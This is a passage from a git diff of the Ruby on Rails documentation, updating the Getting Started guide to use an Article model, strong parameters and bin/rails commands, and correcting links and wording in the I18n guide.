%> </table> ``` -Here we're using `link_to` in a different way. We wrap the -`:action` and `:id` attributes in a hash so that we can pass those two keys in -first as one argument, and then the final two keys as another argument. The `:method` and `:'data-confirm'` -options are used as HTML5 attributes so that when the link is clicked, -Rails will first show a confirm dialog to the user, and then submit the link with method `delete`. -This is done via the JavaScript file `jquery_ujs` which is automatically included -into your application's layout (`app/views/layouts/application.html.erb`) when you -generated the application. Without this file, the confirmation dialog box wouldn't appear. +Here we're using `link_to` in a different way. We pass the named route as the +second argument, and then the options as another argument. The `:method` and +`:'data-confirm'` options are used as HTML5 attributes so that when the link is +clicked, Rails will first show a confirm dialog to the user, and then submit the +link with method `delete`. This is done via the JavaScript file `jquery_ujs` +which is automatically included into your application's layout +(`app/views/layouts/application.html.erb`) when you generated the application. +Without this file, the confirmation dialog box wouldn't appear.  Congratulations, you can now create, show, list, update and destroy -posts. In the next section will see how Rails can aid us when creating -REST applications, and how we can refactor our Blog app to take -advantage of it. - -### Going Deeper into REST - -We've now covered all the CRUD actions of a REST app. We did so by -declaring separate routes with the appropriate verbs into -`config/routes.rb`. Here's how that file looks so far: - -```ruby -get "posts" => "posts#index" -get "posts/new" -post "posts" => "posts#create" -get "posts/:id" => "posts#show", as: :post -get "posts/:id/edit" => "posts#edit" -put "posts/:id" => "posts#update" -delete "posts/:id" => "posts#destroy" -``` - -That's a lot to type for covering a single **resource**. Fortunately, -Rails provides a `resources` method which can be used to declare a -standard REST resource. Here's how `config/routes.rb` looks after the -cleanup: - -```ruby -Blog::Application.routes.draw do - - resources :posts - - root to: "welcome#index" -end -``` - -If you run `rake routes`, you'll see that all the routes that we -declared before are still available: +articles. -```bash -$ rake routes - posts GET /posts(.:format) posts#index - POST /posts(.:format) posts#create - new_post GET /posts/new(.:format) posts#new -edit_post GET /posts/:id/edit(.:format) posts#edit - post GET /posts/:id(.:format) posts#show - PUT /posts/:id(.:format) posts#update - DELETE /posts/:id(.:format) posts#destroy - root / welcome#index -``` - -Also, if you go through the motions of creating, updating and deleting -posts the app still works as before. - -TIP: In general, Rails encourages the use of resources objects in place -of declaring routes manually. It was only done in this guide as a learning -exercise. For more information about routing, see +TIP: In general, Rails encourages using resources objects instead of +declaring routes manually. For more information about routing, see [Rails Routing from the Outside In](routing.html). Adding a Second Model --------------------- -It's time to add a second model to the application. The second model will handle comments on -posts. +It's time to add a second model to the application. The second model will handle +comments on articles. ### Generating a Model We're going to see the same generator that we used before when creating -the `Post` model. This time we'll create a `Comment` model to hold -reference of post comments. Run this command in your terminal: +the `Article` model. This time we'll create a `Comment` model to hold +reference of article comments. Run this command in your terminal: ```bash -$ rails generate model Comment commenter:string body:text post:references +$ bin/rails generate model Comment commenter:string body:text article:references ``` This command will generate four files: | File | Purpose | | -------------------------------------------- | ------------------------------------------------------------------------------------------------------ | -| db/migrate/20100207235629_create_comments.rb | Migration to create the comments table in your database (your name will include a different timestamp) | +| db/migrate/20140120201010_create_comments.rb | Migration to create the comments table in your database (your name will include a different timestamp) | | app/models/comment.rb | The Comment model | | test/models/comment_test.rb | Testing harness for the comments model | | test/fixtures/comments.yml | Sample comments for use in testing | @@ -1215,12 +1521,12 @@ First, take a look at `app/models/comment.rb`: ```ruby class Comment < ActiveRecord::Base - belongs_to :post + belongs_to :article end ``` -This is very similar to the `post.rb` model that you saw earlier. The difference -is the line `belongs_to :post`, which sets up an Active Record _association_. +This is very similar to the `Article` model that you saw earlier. The difference +is the line `belongs_to :article`, which sets up an Active Record _association_. You'll learn a little about associations in the next section of this guide. In addition to the model, Rails has also made a migration to create the @@ -1232,22 +1538,23 @@ class CreateComments < ActiveRecord::Migration create_table :comments do |t| t.string :commenter t.text :body - t.references :post - t.timestamps - end + # this line adds an integer column called `article_id`. + t.references :article, index: true - add_index :comments, :post_id + t.timestamps null: false + end + add_foreign_key :comments, :articles end end ``` The `t.references` line sets up a foreign key column for the association between -the two models. And the `add_index` line sets up an index for this association -column. Go ahead and run the migration: +the two models. An index for this association is also created on this column. +Go ahead and run the migration: ```bash -$ rake db:migrate +$ bin/rake db:migrate ``` Rails is smart enough to only execute the migrations that have not already been @@ -1256,66 +1563,68 @@ run against the current database, so in this case you will just see: ```bash == CreateComments: migrating ================================================= -- create_table(:comments) - -> 0.0008s --- add_index(:comments, :post_id) - -> 0.0003s -== CreateComments: migrated (0.0012s) ======================================== + -> 0.0115s +-- add_foreign_key(:comments, :articles) + -> 0.0000s +== CreateComments: migrated (0.0119s) ======================================== ``` ### Associating Models Active Record associations let you easily declare the relationship between two -models. In the case of comments and posts, you could write out the relationships -this way: +models. In the case of comments and articles, you could write out the +relationships this way: -* Each comment belongs to one post. -* One post can have many comments. +* Each comment belongs to one article. +* One article can have many comments. In fact, this is very close to the syntax that Rails uses to declare this -association. You've already seen the line of code inside the `Comment` model (app/models/comment.rb) that -makes each comment belong to a Post: +association. You've already seen the line of code inside the `Comment` model +(app/models/comment.rb) that makes each comment belong to an Article: ```ruby class Comment < ActiveRecord::Base - belongs_to :post + belongs_to :article end ``` -You'll need to edit `app/models/post.rb` to add the other side of the association: +You'll need to edit `app/models/article.rb` to add the other side of the +association: ```ruby -class Post < ActiveRecord::Base +class Article < ActiveRecord::Base has_many :comments validates :title, presence: true, length: { minimum: 5 } - [...] end ``` These two declarations enable a good bit of automatic behavior. For example, if -you have an instance variable `@post` containing a post, you can retrieve all -the comments belonging to that post as an array using `@post.comments`. +you have an instance variable `@article` containing an article, you can retrieve +all the comments belonging to that article as an array using +`@article.comments`. TIP: For more information on Active Record associations, see the [Active Record Associations](association_basics.html) guide. ### Adding a Route for Comments -As with the `welcome` controller, we will need to add a route so that Rails knows -where we would like to navigate to see `comments`. Open up the +As with the `welcome` controller, we will need to add a route so that Rails +knows where we would like to navigate to see `comments`. Open up the `config/routes.rb` file again, and edit it as follows: ```ruby -resources :posts do +resources :articles do resources :comments end ``` -This creates `comments` as a _nested resource_ within `posts`. This is another -part of capturing the hierarchical relationship that exists between posts and -comments. +This creates `comments` as a _nested resource_ within `articles`. This is +another part of capturing the hierarchical relationship that exists between +articles and comments. -TIP: For more information on routing, see the [Rails Routing](routing.html) guide. +TIP: For more information on routing, see the [Rails Routing](routing.html) +guide. ### Generating a Controller @@ -1323,10 +1632,10 @@ With the model in hand, you can turn your attention to creating a matching controller. Again, we'll use the same generator we used before: ```bash -$ rails generate controller Comments +$ bin/rails generate controller Comments ``` -This creates six files and one empty directory: +This creates five files and one empty directory: | File/Directory | Purpose | | -------------------------------------------- | ---------------------------------------- | @@ -1334,38 +1643,37 @@ This creates six files and one empty directory: | app/views/comments/ | Views of the controller are stored here | | test/controllers/comments_controller_test.rb | The test for the controller | | app/helpers/comments_helper.rb | A view helper file | -| test/helpers/comments_helper_test.rb | The test for the helper | -| app/assets/javascripts/comment.js.coffee | CoffeeScript for the controller | -| app/assets/stylesheets/comment.css.scss | Cascading style sheet for the controller | +| app/assets/javascripts/comment.coffee | CoffeeScript for the controller | +| app/assets/stylesheets/comment.scss | Cascading style sheet for the controller | Like with any blog, our readers will create their comments directly after -reading the post, and once they have added their comment, will be sent back to -the post show page to see their comment now listed. Due to this, our +reading the article, and once they have added their comment, will be sent back +to the article show page to see their comment now listed. Due to this, our `CommentsController` is there to provide a method to create comments and delete spam comments when they arrive. -So first, we'll wire up the Post show template -(`app/views/posts/show.html.erb`) to let us make a new comment: +So first, we'll wire up the Article show template +(`app/views/articles/show.html.erb`) to let us make a new comment: ```html+erb <p> <strong>Title:</strong> - <%= @post.title %> + <%= @article.title %> </p> <p> <strong>Text:</strong> - <%= @post.text %> + <%= @article.text %> </p> <h2>Add a comment:</h2> -<%= form_for([@post, @post.comments.build]) do |f| %> +<%= form_for([@article, @article.comments.build]) do |f| %> <p> - <%= f.label :commenter %><br /> + <%= f.label :commenter %><br> <%= f.text_field :commenter %> </p> <p> - <%= f.label :body %><br /> + <%= f.label :body %><br> <%= f.text_area :body %> </p> <p> @@ -1373,55 +1681,61 @@ So first, we'll wire up the Post show template </p> <% end %> -<%= link_to 'Edit Post', edit_post_path(@post) %> | -<%= link_to 'Back to Posts', posts_path %> +<%= link_to 'Back', articles_path %> | +<%= link_to 'Edit', edit_article_path(@article) %> ``` -This adds a form on the `Post` show page that creates a new comment by +This adds a form on the `Article` show page that creates a new comment by calling the `CommentsController` `create` action. The `form_for` call here uses -an array, which will build a nested route, such as `/posts/1/comments`. +an array, which will build a nested route, such as `/articles/1/comments`. Let's wire up the `create` in `app/controllers/comments_controller.rb`: ```ruby class CommentsController < ApplicationController def create - @post = Post.find(params[:post_id]) - @comment = @post.comments.create(params[:comment]) - redirect_to post_path(@post) + @article = Article.find(params[:article_id]) + @comment = @article.comments.create(comment_params) + redirect_to article_path(@article) end + + private + def comment_params + params.require(:comment).permit(:commenter, :body) + end end ``` -You'll see a bit more complexity here than you did in the controller for posts. -That's a side-effect of the nesting that you've set up. Each request for a -comment has to keep track of the post to which the comment is attached, thus the -initial call to the `find` method of the `Post` model to get the post in question. +You'll see a bit more complexity here than you did in the controller for +articles. That's a side-effect of the nesting that you've set up. Each request +for a comment has to keep track of the article to which the comment is attached, +thus the initial call to the `find` method of the `Article` model to get the +article in question. In addition, the code takes advantage of some of the methods available for an -association. We use the `create` method on `@post.comments` to create and save -the comment. This will automatically link the comment so that it belongs to that -particular post. +association. We use the `create` method on `@article.comments` to create and +save the comment. This will automatically link the comment so that it belongs to +that particular article. -Once we have made the new comment, we send the user back to the original post -using the `post_path(@post)` helper. As we have already seen, this calls the -`show` action of the `PostsController` which in turn renders the `show.html.erb` -template. This is where we want the comment to show, so let's add that to the -`app/views/posts/show.html.erb`. +Once we have made the new comment, we send the user back to the original article +using the `article_path(@article)` helper. As we have already seen, this calls +the `show` action of the `ArticlesController` which in turn renders the +`show.html.erb` template. This is where we want the comment to show, so let's +add that to the `app/views/articles/show.html.erb`. ```html+erb <p> <strong>Title:</strong> - <%= @post.title %> + <%= @article.title %> </p> <p> <strong>Text:</strong> - <%= @post.text %> + <%= @article.text %> </p> <h2>Comments</h2> -<% @post.comments.each do |comment| %> +<% @article.comments.each do |comment| %> <p> <strong>Commenter:</strong> <%= comment.commenter %> @@ -1434,13 +1748,13 @@ template. This is where we want the comment to show, so let's add that to the <% end %> <h2>Add a comment:</h2> -<%= form_for([@post, @post.comments.build]) do |f| %> +<%= form_for([@article, @article.comments.build]) do |f| %> <p> - <%= f.label :commenter %><br /> + <%= f.label :commenter %><br> <%= f.text_field :commenter %> </p> <p> - <%= f.label :body %><br /> + <%= f.label :body %><br> <%= f.text_area :body %> </p> <p> @@ -1448,26 +1762,26 @@ template. This is where we want the comment to show, so let's add that to the </p> <% end %> -<%= link_to 'Edit Post', edit_post_path(@post) %> | -<%= link_to 'Back to Posts', posts_path %> +<%= link_to 'Edit Article', edit_article_path(@article) %> | +<%= link_to 'Back to Articles', articles_path %> ``` -Now you can add posts and comments to your blog and have them show up in the +Now you can add articles and comments to your blog and have them show up in the right places. - + Refactoring ----------- -Now that we have posts and comments working, take a look at the -`app/views/posts/show.html.erb` template. It is getting long and awkward. We can -use partials to clean it up. +Now that we have articles and comments working, take a look at the +`app/views/articles/show.html.erb` template. It is getting long and awkward. We +can use partials to clean it up. ### Rendering Partial Collections -First, we will make a comment partial to extract showing all the comments for the -post. Create the file `app/views/comments/_comment.html.erb` and put the +First, we will make a comment partial to extract showing all the comments for +the article. Create the file `app/views/comments/_comment.html.erb` and put the following into it: ```html+erb @@ -1482,31 +1796,31 @@ following into it: </p> ``` -Then you can change `app/views/posts/show.html.erb` to look like the +Then you can change `app/views/articles/show.html.erb` to look like the following: ```html+erb <p> <strong>Title:</strong> - <%= @post.title %> + <%= @article.title %> </p> <p> <strong>Text:</strong> - <%= @post.text %> + <%= @article.text %> </p> <h2>Comments</h2> -<%= render @post.comments %> +<%= render @article.comments %> <h2>Add a comment:</h2> -<%= form_for([@post, @post.comments.build]) do |f| %> +<%= form_for([@article, @article.comments.build]) do |f| %> <p> - <%= f.label :commenter %><br /> + <%= f.label :commenter %><br> <%= f.text_field :commenter %> </p> <p> - <%= f.label :body %><br /> + <%= f.label :body %><br> <%= f.text_area :body %> </p> <p> @@ -1514,13 +1828,13 @@ following: </p> <% end %> -<%= link_to 'Edit Post', edit_post_path(@post) %> | -<%= link_to 'Back to Posts', posts_path %> +<%= link_to 'Edit Article', edit_article_path(@article) %> | +<%= link_to 'Back to Articles', articles_path %> ``` This will now render the partial in `app/views/comments/_comment.html.erb` once -for each comment that is in the `@post.comments` collection. As the `render` -method iterates over the `@post.comments` collection, it assigns each +for each comment that is in the `@article.comments` collection. As the `render` +method iterates over the `@article.comments` collection, it assigns each comment to a local variable named the same as the partial, in this case `comment` which is then available in the partial for us to show. @@ -1530,13 +1844,13 @@ Let us also move that new comment section out to its own partial. Again, you create a file `app/views/comments/_form.html.erb` containing: ```html+erb -<%= form_for([@post, @post.comments.build]) do |f| %> +<%= form_for([@article, @article.comments.build]) do |f| %> <p> - <%= f.label :commenter %><br /> + <%= f.label :commenter %><br> <%= f.text_field :commenter %> </p> <p> - <%= f.label :body %><br /> + <%= f.label :body %><br> <%= f.text_area :body %> </p> <p> @@ -1545,24 +1859,27 @@ create a file `app/views/comments/_form.html.erb` containing: <% end %> ``` -Then you make the `app/views/posts/show.html.erb` look like the following: +Then you make the `app/views/articles/show.html.erb` look like the following: ```html+erb <p> <strong>Title:</strong> - <%= @post.title %> + <%= @article.title %> </p> <p> <strong>Text:</strong> - <%= @post.text %> + <%= @article.text %> </p> +<h2>Comments</h2> +<%= render @article.comments %> + <h2>Add a comment:</h2> -<%= render "comments/form" %> +<%= render 'comments/form' %> -<%= link_to 'Edit Post', edit_post_path(@post) %> | -<%= link_to 'Back to Posts', posts_path %> +<%= link_to 'Edit Article', edit_article_path(@article) %> | +<%= link_to 'Back to Articles', articles_path %> ``` The second render just defines the partial template we want to render, @@ -1570,15 +1887,15 @@ The second render just defines the partial template we want to render, string and realize that you want to render the `_form.html.erb` file in the `app/views/comments` directory. -The `@post` object is available to any partials rendered in the view because we -defined it as an instance variable. +The `@article` object is available to any partials rendered in the view because +we defined it as an instance variable. Deleting Comments ----------------- Another important feature of a blog is being able to delete spam comments. To do -this, we need to implement a link of some sort in the view and a `DELETE` action -in the `CommentsController`. +this, we need to implement a link of some sort in the view and a `destroy` +action in the `CommentsController`. So first, let's add the delete link in the `app/views/comments/_comment.html.erb` partial: @@ -1595,88 +1912,93 @@ So first, let's add the delete link in the </p> <p> - <%= link_to 'Destroy Comment', [comment.post, comment], + <%= link_to 'Destroy Comment', [comment.article, comment], method: :delete, data: { confirm: 'Are you sure?' } %> </p> ``` Clicking this new "Destroy Comment" link will fire off a `DELETE -/posts/:post_id/comments/:id` to our `CommentsController`, which can then use -this to find the comment we want to delete, so let's add a destroy action to our -controller (`app/controllers/comments_controller.rb`): +/articles/:article_id/comments/:id` to our `CommentsController`, which can then +use this to find the comment we want to delete, so let's add a `destroy` action +to our controller (`app/controllers/comments_controller.rb`): ```ruby class CommentsController < ApplicationController - def create - @post = Post.find(params[:post_id]) - @comment = @post.comments.create(params[:comment]) - redirect_to post_path(@post) + @article = Article.find(params[:article_id]) + @comment = @article.comments.create(comment_params) + redirect_to article_path(@article) end def destroy - @post = Post.find(params[:post_id]) - @comment = @post.comments.find(params[:id]) + @article = Article.find(params[:article_id]) + @comment = @article.comments.find(params[:id]) @comment.destroy - redirect_to post_path(@post) + redirect_to article_path(@article) end + private + def comment_params + params.require(:comment).permit(:commenter, :body) + end end ``` -The `destroy` action will find the post we are looking at, locate the comment -within the `@post.comments` collection, and then remove it from the -database and send us back to the show action for the post. +The `destroy` action will find the article we are looking at, locate the comment +within the `@article.comments` collection, and then remove it from the +database and send us back to the show action for the article. ### Deleting Associated Objects -If you delete a post then its associated comments will also need to be deleted. -Otherwise they would simply occupy space in the database. Rails allows you to -use the `dependent` option of an association to achieve this. Modify the Post -model, `app/models/post.rb`, as follows: +If you delete an article, its associated comments will also need to be +deleted, otherwise they would simply occupy space in the database. Rails allows +you to use the `dependent` option of an association to achieve this. Modify the +Article model, `app/models/article.rb`, as follows: ```ruby -class Post < ActiveRecord::Base +class Article < ActiveRecord::Base has_many :comments, dependent: :destroy validates :title, presence: true, length: { minimum: 5 } - [...] end ``` Security -------- -If you were to publish your blog online, anybody would be able to add, edit and -delete posts or delete comments. +### Basic Authentication + +If you were to publish your blog online, anyone would be able to add, edit and +delete articles or delete comments. Rails provides a very simple HTTP authentication system that will work nicely in this situation. -In the `PostsController` we need to have a way to block access to the various -actions if the person is not authenticated, here we can use the Rails -`http_basic_authenticate_with` method, allowing access to the requested +In the `ArticlesController` we need to have a way to block access to the +various actions if the person is not authenticated. Here we can use the Rails +`http_basic_authenticate_with` method, which allows access to the requested action if that method allows it. To use the authentication system, we specify it at the top of our -`PostsController`, in this case, we want the user to be authenticated on every -action, except for `index` and `show`, so we write that in `app/controllers/posts_controller.rb`: +`ArticlesController` in `app/controllers/articles_controller.rb`. In our case, +we want the user to be authenticated on every action except `index` and `show`, +so we write that: ```ruby -class PostsController < ApplicationController +class ArticlesController < ApplicationController http_basic_authenticate_with name: "dhh", password: "secret", except: [:index, :show] def index - @posts = Post.all + @articles = Article.all end # snipped for brevity ``` -We also only want to allow authenticated users to delete comments, so in the +We also want to allow only authenticated users to delete comments, so in the `CommentsController` (`app/controllers/comments_controller.rb`) we write: ```ruby @@ -1685,36 +2007,60 @@ class CommentsController < ApplicationController http_basic_authenticate_with name: "dhh", password: "secret", only: :destroy def create - @post = Post.find(params[:post_id]) - ... + @article = Article.find(params[:article_id]) + # ... end + # snipped for brevity ``` -Now if you try to create a new post, you will be greeted with a basic HTTP -Authentication challenge +Now if you try to create a new article, you will be greeted with a basic HTTP +Authentication challenge: + + + +Other authentication methods are available for Rails applications. Two popular +authentication add-ons for Rails are the +[Devise](https://github.com/plataformatec/devise) rails engine and +the [Authlogic](https://github.com/binarylogic/authlogic) gem, +along with a number of others. + + +### Other Security Considerations + +Security, especially in web applications, is a broad and detailed area. Security +in your Rails application is covered in more depth in +the [Ruby on Rails Security Guide](security.html). - What's Next? ------------ Now that you've seen your first Rails application, you should feel free to -update it and experiment on your own. But you don't have to do everything -without help. As you need assistance getting up and running with Rails, feel -free to consult these support resources: +update it and experiment on your own. + +Remember you don't have to do everything without help. As you need assistance +getting up and running with Rails, feel free to consult these support +resources: -* The [Ruby on Rails guides](index.html) +* The [Ruby on Rails Guides](index.html) * The [Ruby on Rails Tutorial](http://railstutorial.org/book) * The [Ruby on Rails mailing list](http://groups.google.com/group/rubyonrails-talk) * The [#rubyonrails](irc://irc.freenode.net/#rubyonrails) channel on irc.freenode.net -Rails also comes with built-in help that you can generate using the rake command-line utility: +Rails also comes with built-in help that you can generate using the rake +command-line utility: -* Running `rake doc:guides` will put a full copy of the Rails Guides in the `doc/guides` folder of your application. Open `doc/guides/index.html` in your web browser to explore the Guides. -* Running `rake doc:rails` will put a full copy of the API documentation for Rails in the `doc/api` folder of your application. Open `doc/api/index.html` in your web browser to explore the API documentation. +* Running `rake doc:guides` will put a full copy of the Rails Guides in the + `doc/guides` folder of your application. Open `doc/guides/index.html` in your + web browser to explore the Guides. +* Running `rake doc:rails` will put a full copy of the API documentation for + Rails in the `doc/api` folder of your application. Open `doc/api/index.html` + in your web browser to explore the API documentation. -TIP: To be able to generate the Rails Guides locally with the `doc:guides` rake task you need to install the RedCloth gem. Add it to your `Gemfile` and run `bundle install` and you're ready to go. +TIP: To be able to generate the Rails Guides locally with the `doc:guides` rake +task you need to install the Redcarpet and Nokogiri gems. Add it to your `Gemfile` and run +`bundle install` and you're ready to go. Configuration Gotchas --------------------- @@ -1734,15 +2080,16 @@ cannot be automatically detected by Rails and corrected. Two very common sources of data that are not UTF-8: -* Your text editor: Most text editors (such as Textmate), default to saving files as - UTF-8. If your text editor does not, this can result in special characters that you - enter in your templates (such as é) to appear as a diamond with a question mark inside - in the browser. This also applies to your i18n translation files. - Most editors that do not already default to UTF-8 (such as some versions of - Dreamweaver) offer a way to change the default to UTF-8. Do so. -* Your database. Rails defaults to converting data from your database into UTF-8 at - the boundary. However, if your database is not using UTF-8 internally, it may not - be able to store all characters that your users enter. For instance, if your database - is using Latin-1 internally, and your user enters a Russian, Hebrew, or Japanese - character, the data will be lost forever once it enters the database. If possible, - use UTF-8 as the internal storage of your database. +* Your text editor: Most text editors (such as TextMate), default to saving + files as UTF-8. If your text editor does not, this can result in special + characters that you enter in your templates (such as é) to appear as a diamond + with a question mark inside in the browser. This also applies to your i18n + translation files. Most editors that do not already default to UTF-8 (such as + some versions of Dreamweaver) offer a way to change the default to UTF-8. Do + so. +* Your database: Rails defaults to converting data from your database into UTF-8 + at the boundary. However, if your database is not using UTF-8 internally, it + may not be able to store all characters that your users enter. For instance, + if your database is using Latin-1 internally, and your user enters a Russian, + Hebrew, or Japanese character, the data will be lost forever once it enters + the database. If possible, use UTF-8 as the internal storage of your database. diff --git a/guides/source/i18n.md b/guides/source/i18n.md index 2e61bea5ea..bd6babff41 100644 --- a/guides/source/i18n.md +++ b/guides/source/i18n.md @@ -1,3 +1,5 @@ +**DO NOT READ THIS FILE IN GITHUB, GUIDES ARE PUBLISHED IN http://guides.rubyonrails.org.** + Rails Internationalization (I18n) API ===================================== @@ -13,17 +15,22 @@ So, in the process of _internationalizing_ your Rails application you have to: In the process of _localizing_ your application you'll probably want to do the following three things: -* Replace or supplement Rails' default locale — e.g. date and time formats, month names, Active Record model names, etc. -* Abstract strings in your application into keyed dictionaries — e.g. flash messages, static text in your views, etc. +* Replace or supplement Rails' default locale - e.g. date and time formats, month names, Active Record model names, etc. +* Abstract strings in your application into keyed dictionaries - e.g. flash messages, static text in your views, etc. * Store the resulting dictionaries somewhere. This guide will walk you through the I18n API and contains a tutorial on how to internationalize a Rails application from the start. After reading this guide, you will know: +* How I18n works in Ruby on Rails +* How to correctly use I18n into a RESTful application in various ways +* How to use I18n to translate ActiveRecord errors or ActionMailer E-mail subjects +* Some other tools to go further with the translation process of your application + -------------------------------------------------------------------------------- -NOTE: The Ruby I18n framework provides you with all necessary means for internationalization/localization of your Rails application. You may, however, use any of various plugins and extensions available, which add additional functionality or features. See the Rails [I18n Wiki](http://rails-i18n.org/wiki) for more information. +NOTE: The Ruby I18n framework provides you with all necessary means for internationalization/localization of your Rails application. You may, also use various gems available to add additional functionality or features. See the [rails-i18n gem](https://github.com/svenfuchs/rails-i18n) for more information. How I18n in Ruby on Rails Works ------------------------------- @@ -33,13 +40,13 @@ Internationalization is a complex problem. Natural languages differ in so many w * providing support for English and similar languages out of the box * making it easy to customize and extend everything for other languages -As part of this solution, **every static string in the Rails framework** — e.g. Active Record validation messages, time and date formats — **has been internationalized**, so _localization_ of a Rails application means "over-riding" these defaults. +As part of this solution, **every static string in the Rails framework** - e.g. Active Record validation messages, time and date formats - **has been internationalized**, so _localization_ of a Rails application means "over-riding" these defaults. ### The Overall Architecture of the Library Thus, the Ruby I18n gem is split into two parts: -* The public API of the i18n framework — a Ruby module with public methods that define how the library works +* The public API of the i18n framework - a Ruby module with public methods that define how the library works * A default backend (which is intentionally named _Simple_ backend) that implements these methods As a user you should always only access the public methods on the I18n module, but it is useful to know about the capabilities of the backend. @@ -87,22 +94,22 @@ Rails adds all `.rb` and `.yml` files from the `config/locales` directory to you The default `en.yml` locale in this directory contains a sample pair of translation strings: -```ruby +```yaml en: hello: "Hello world" ``` -This means, that in the `:en` locale, the key _hello_ will map to the _Hello world_ string. Every string inside Rails is internationalized in this way, see for instance Active Record validation messages in the [`activerecord/lib/active_record/locale/en.yml`](https://github.com/rails/rails/blob/master/activerecord/lib/active_record/locale/en.yml file or time and date formats in the [`activesupport/lib/active_support/locale/en.yml`](https://github.com/rails/rails/blob/master/activesupport/lib/active_support/locale/en.yml) file. You can use YAML or standard Ruby Hashes to store translations in the default (Simple) backend. +This means, that in the `:en` locale, the key _hello_ will map to the _Hello world_ string. Every string inside Rails is internationalized in this way, see for instance Active Model validation messages in the [`activemodel/lib/active_model/locale/en.yml`](https://github.com/rails/rails/blob/master/activemodel/lib/active_model/locale/en.yml) file or time and date formats in the [`activesupport/lib/active_support/locale/en.yml`](https://github.com/rails/rails/blob/master/activesupport/lib/active_support/locale/en.yml) file. You can use YAML or standard Ruby Hashes to store translations in the default (Simple) backend. The I18n library will use **English** as a **default locale**, i.e. if you don't set a different locale, `:en` will be used for looking up translations. -NOTE: The i18n library takes a **pragmatic approach** to locale keys (after [some discussion](http://groups.google.com/group/rails-i18n/browse_thread/thread/14dede2c7dbe9470/80eec34395f64f3c?hl=en), including only the _locale_ ("language") part, like `:en`, `:pl`, not the _region_ part, like `:en-US` or `:en-GB`, which are traditionally used for separating "languages" and "regional setting" or "dialects". Many international applications use only the "language" element of a locale such as `:cs`, `:th` or `:es` (for Czech, Thai and Spanish). However, there are also regional differences within different language groups that may be important. For instance, in the `:en-US` locale you would have $ as a currency symbol, while in `:en-GB`, you would have £. Nothing stops you from separating regional and other settings in this way: you just have to provide full "English - United Kingdom" locale in a `:en-GB` dictionary. Various [Rails I18n plugins](http://rails-i18n.org/wiki) such as [Globalize3](https://github.com/svenfuchs/globalize3) may help you implement it. +NOTE: The i18n library takes a **pragmatic approach** to locale keys (after [some discussion](http://groups.google.com/group/rails-i18n/browse_thread/thread/14dede2c7dbe9470/80eec34395f64f3c?hl=en)), including only the _locale_ ("language") part, like `:en`, `:pl`, not the _region_ part, like `:en-US` or `:en-GB`, which are traditionally used for separating "languages" and "regional setting" or "dialects". Many international applications use only the "language" element of a locale such as `:cs`, `:th` or `:es` (for Czech, Thai and Spanish). However, there are also regional differences within different language groups that may be important. For instance, in the `:en-US` locale you would have $ as a currency symbol, while in `:en-GB`, you would have £. Nothing stops you from separating regional and other settings in this way: you just have to provide full "English - United Kingdom" locale in a `:en-GB` dictionary. Few gems such as [Globalize3](https://github.com/globalize/globalize) may help you implement it. The **translations load path** (`I18n.load_path`) is just a Ruby Array of paths to your translation files that will be loaded automatically and available in your application. You can pick whatever directory and translation file naming scheme makes sense for you. NOTE: The backend will lazy-load these translations when a translation is looked up for the first time. This makes it possible to just swap the backend with something else even after translations have already been announced. -The default initializer `locale.rb` file has instructions on how to add locales from another directory and how to set a different default locale. Just uncomment and edit the specific lines. +The default `application.rb` file has instructions on how to add locales from another directory and how to set a different default locale. Just uncomment and edit the specific lines. ```ruby # The default locale is :en and all translations from config/locales/*.rb,yml are auto loaded. @@ -132,7 +139,7 @@ If you want to translate your Rails application to a **single language other tha However, you would probably like to **provide support for more locales** in your application. In such case, you need to set and pass the locale between requests. -WARNING: You may be tempted to store the chosen locale in a _session_ or a <em>cookie</em>, however **do not do this**. The locale should be transparent and a part of the URL. This way you won't break people's basic assumptions about the web itself: if you send a URL to a friend, they should see the same page and content as you. A fancy word for this would be that you're being [<em>RESTful</em>](http://en.wikipedia.org/wiki/Representational_State_Transfer. Read more about the RESTful approach in [Stefan Tilkov's articles](http://www.infoq.com/articles/rest-introduction). Sometimes there are exceptions to this rule and those are discussed below. +WARNING: You may be tempted to store the chosen locale in a _session_ or a *cookie*. However, **do not do this**. The locale should be transparent and a part of the URL. This way you won't break people's basic assumptions about the web itself: if you send a URL to a friend, they should see the same page and content as you. A fancy word for this would be that you're being [*RESTful*](http://en.wikipedia.org/wiki/Representational_State_Transfer). Read more about the RESTful approach in [Stefan Tilkov's articles](http://www.infoq.com/articles/rest-introduction). Sometimes there are exceptions to this rule and those are discussed below. The _setting part_ is easy. You can set the locale in a `before_action` in the `ApplicationController` like this: @@ -174,7 +181,7 @@ end # in your /etc/hosts file to try this out locally def extract_locale_from_tld parsed_locale = request.host.split('.').last - I18n.available_locales.include?(parsed_locale.to_sym) ? parsed_locale : nil + I18n.available_locales.map(&:to_s).include?(parsed_locale) ? parsed_locale : nil end ``` @@ -187,7 +194,7 @@ We can also set the locale from the _subdomain_ in a very similar way: # in your /etc/hosts file to try this out locally def extract_locale_from_subdomain parsed_locale = request.subdomains.first - I18n.available_locales.include?(parsed_locale.to_sym) ? parsed_locale : nil + I18n.available_locales.map(&:to_s).include?(parsed_locale) ? parsed_locale : nil end ``` @@ -207,17 +214,16 @@ The most usual way of setting (and passing) the locale would be to include it in This approach has almost the same set of advantages as setting the locale from the domain name: namely that it's RESTful and in accord with the rest of the World Wide Web. It does require a little bit more work to implement, though. -Getting the locale from `params` and setting it accordingly is not hard; including it in every URL and thus **passing it through the requests** is. To include an explicit option in every URL (e.g. `link_to( books_url(locale: I18n.locale))`) would be tedious and probably impossible, of course. +Getting the locale from `params` and setting it accordingly is not hard; including it in every URL and thus **passing it through the requests** is. To include an explicit option in every URL, e.g. `link_to(books_url(locale: I18n.locale))`, would be tedious and probably impossible, of course. -Rails contains infrastructure for "centralizing dynamic decisions about the URLs" in its [`ApplicationController#default_url_options`](http://api.rubyonrails.org/classes/ActionController/Base.html#M000515, which is useful precisely in this scenario: it enables us to set "defaults" for [`url_for`](http://api.rubyonrails.org/classes/ActionController/Base.html#M000503) and helper methods dependent on it (by implementing/overriding this method). +Rails contains infrastructure for "centralizing dynamic decisions about the URLs" in its [`ApplicationController#default_url_options`](http://api.rubyonrails.org/classes/ActionDispatch/Routing/Mapper/Base.html#method-i-default_url_options), which is useful precisely in this scenario: it enables us to set "defaults" for [`url_for`](http://api.rubyonrails.org/classes/ActionDispatch/Routing/UrlFor.html#method-i-url_for) and helper methods dependent on it (by implementing/overriding this method). We can include something like this in our `ApplicationController` then: ```ruby # app/controllers/application_controller.rb -def default_url_options(options={}) - logger.debug "default_url_options is passed options: #{options.inspect}\n" - { locale: I18n.locale } +def default_url_options(options = {}) + { locale: I18n.locale }.merge options end ``` @@ -253,16 +259,16 